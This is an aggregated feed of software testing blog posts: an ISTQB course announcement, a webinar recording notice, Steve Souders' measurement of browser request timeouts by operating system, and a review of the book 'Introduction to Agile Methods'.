I am excited to announce the availability of my newest e-Learning course - The ISTQB Advanced Technical Test Analyst certification course. To register, just go to https://www.mysoftwaretesting.com/ISTQB_Advanced_Technical_Test_Analyst_e_Learning_p/advtta.htm
To take a free demo, just click on the demo button.





This e-Learning course follows on from the ISTQB Foundation Level Course and leads to the ISTQB Advanced Technical Test Analyst Certification. The course focuses specifically on technical test analyst issues such as producing test documentation in relation to technical testing, choosing and applying appropriate specification-based, structure-based, defect-based and experienced-based test design techniques, and specifying test cases to evaluate software characteristics. Candidates will be given exercises, practice exams and learning aids for the ISTQB Advanced Technical Test Analyst qualification.
Categories: Software Testing

Webinar Recording and Slides from Estabilishing the Software Quality Organization

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 12:24
Hi all,

Thanks to everyone who attended yesterday's webinar on "Establishing the Software Quality Organization" with Tom Staab and me.

Here is the recording of the session: http://youtu.be/pczgcHGvV5Q

Here are the slides in PDF format: http://www.softwaretestingtrainingonline.com/cc/public_pdf/Establishing%20The%20SQO%20webinar%2011132014-1.pdf

I hope you can attend some of our future sessions!

Thanks,

Randy
Categories: Software Testing

Request Timeout

Steve Souders - Fri, 11/14/2014 - 04:15

With the increase in 3rd party content on websites, I’ve evangelized heavily about how Frontend SPOF blocks the page from rendering. This is timely given the recent Doubleclick outage. Although I’ve been warning about Frontend SPOF for years, I’ve never measured how long a hung response blocks rendering. I used to think this depended on the browser, but Pat Meenan recently mentioned he thought it depended more on the operating system. So I decided to test it.

My test page contains a request for a script that will never return. This is done using Pat’s blackhole server. Eventually the request times out and the page will finish loading. Thus the amount of time this takes is captured by measuring window.onload. I tweeted asking people to run the test and collected the results in a Browserscope user test.

The aggregated results show the median timeout value (in seconds) for each type of browser. Unfortunately, this doesn’t reflect operating system. Instead, I exported the raw results and did some UA parsing to extract an approximation for OS. The final outcome can be found in this Google Spreadsheet of Blackhole Request Timeout values.

Sorting this by OS we see that Pat was generally right. Here are median timeout values by OS:

  • Android: ~60 seconds
  • iOS: ~75 seconds
  • Mac OS: ~75 seconds
  • Windows: ~20 seconds

The timeout values above are independent of browser. For example, on Mac OS the timeout value is ~75 seconds for Chrome, Firefox, Opera, and Safari.

However, there are a lot of outliers. Ilya Grigorik points out that there are a lot of variables affecting when the request times out; in addition to browser and OS, there may be server and proxy settings that factor into the results. I also tested with my mobile devices and got different results when switching between carrier network and wifi.

The results of this test show that there are more questions to be answered. It would take someone like Ilya with extensive knowledge of browser networking to nail down all the factors involved. A general guideline is Frontend SPOF from a hung response ranges from 20 to 75 seconds depending on browser and OS.

Categories: Software Testing

Book Review – Introduction to Agile Methods - Ashmore and Runyan

Randy Rice's Software Testing & Quality - Wed, 11/12/2014 - 09:07
Click to Order on AmazonFirst, as a disclaimer, I am a software testing consultant and also a project life cycle consultant. Although I do train teams in agile testing methods, I do not consider myself as an agile evangelist. There are many things about agile methods I like, but there are also things that trouble me about some agile methods. I work with organizations that use a wide variety of project life cycle approaches and believe that one approach is not appropriate in all situations. In this review, I want to avoid getting into the weeds of sequential life cycles versus agile, the pros and cons of agile, and instead focus on the merits of the book itself.

Since the birth of agile, I have observed that agile methods keep evolving and it is hard to find in one place a good comparison of the various agile methodologies. I have been looking for a good book that I could use in a learning context and I think this book is the one.
One of the issues that people experience in learning agile is that the early works on the topic are from the early experiences in agile. We are now almost fifteen years into the agile movement and many lessons have been learned. While this book references many of the early works, the authors present the ideas in a more recent context.
This is a very easy to read book and very thorough in it’s coverage of agile methods. I also appreciate that the authors are up-front about some of the pitfalls of certain methods in some situations.
The book is organized as a learning tool, with learning objectives, case studies, review questions and exercises, so one could easily apply this book “as-is” as the basis for training agile teams. An individual could also use this book as a self-study course on agile methods. There is also a complete glossary and index which helps in getting the terms down and using the book as a reference.
The chapter on testing provided an excellent treatment of automating agile tests, and manual testing was also discussed. In my opinion, there could have been more detail about how to test functionality from an external perspective, such as the role of functional test case design in an agile context. Too many people only test the assertions and acceptance-level tests without testing the negative conditions. The authors do, however, emphasize that software attributes such as performance, usability, and others should be tested. The “hows” of those forms of testing are not really discussed in detail. You would need a book that dives deeper into those topics.
I also question how validation is defined and described, relying more on surveys than actual real-world tests. Surveys are fine, but they don’t validate specific use of the product and features. If you want true validation, you need real users performing tests based on how they intend to use a product.
There is significant discussion on the importance of having a quality-minded culture, which is foundational for any of the methods to deliver high-quality software. This includes the ability to be open about discussing defects.
To me, the interviews were interesting, but some of the comments were a little concerning. However, I realize they are the opinions of agile practitioners and I see quite a bit of disagreement between experts at the conferences, so I really didn’t put a lot of weight in the interviews.
One nitpick I have is that on the topic of retrospectives, the foundational book, “Project Retrospectives” by Norm Kerth was not referenced. That was the book that changed the term “post-mortem” to “retrospectives” and laid the basis for the retrospective practice as we know it today.
My final thought is that the magic is not in the method. Whether using agile methods or sequential lifecycles like the waterfall, it takes more than simply following a method correctly. If there are issues such team strife, stakeholder disengagement and other organizational maladies, then agile or any other methodology will not fix that. A healthy software development culture is needed, along with a healthy enterprise culture and understanding of what it takes to build and deliver great software.
I can highly recommend this book for people who want to know the distinctions between agile methods, those that want to improve their practices and for management that may feel a disconnect in their understanding of how agile is being performed in their organization. This book is also a great standalone learning resource!
Categories: Software Testing

Pages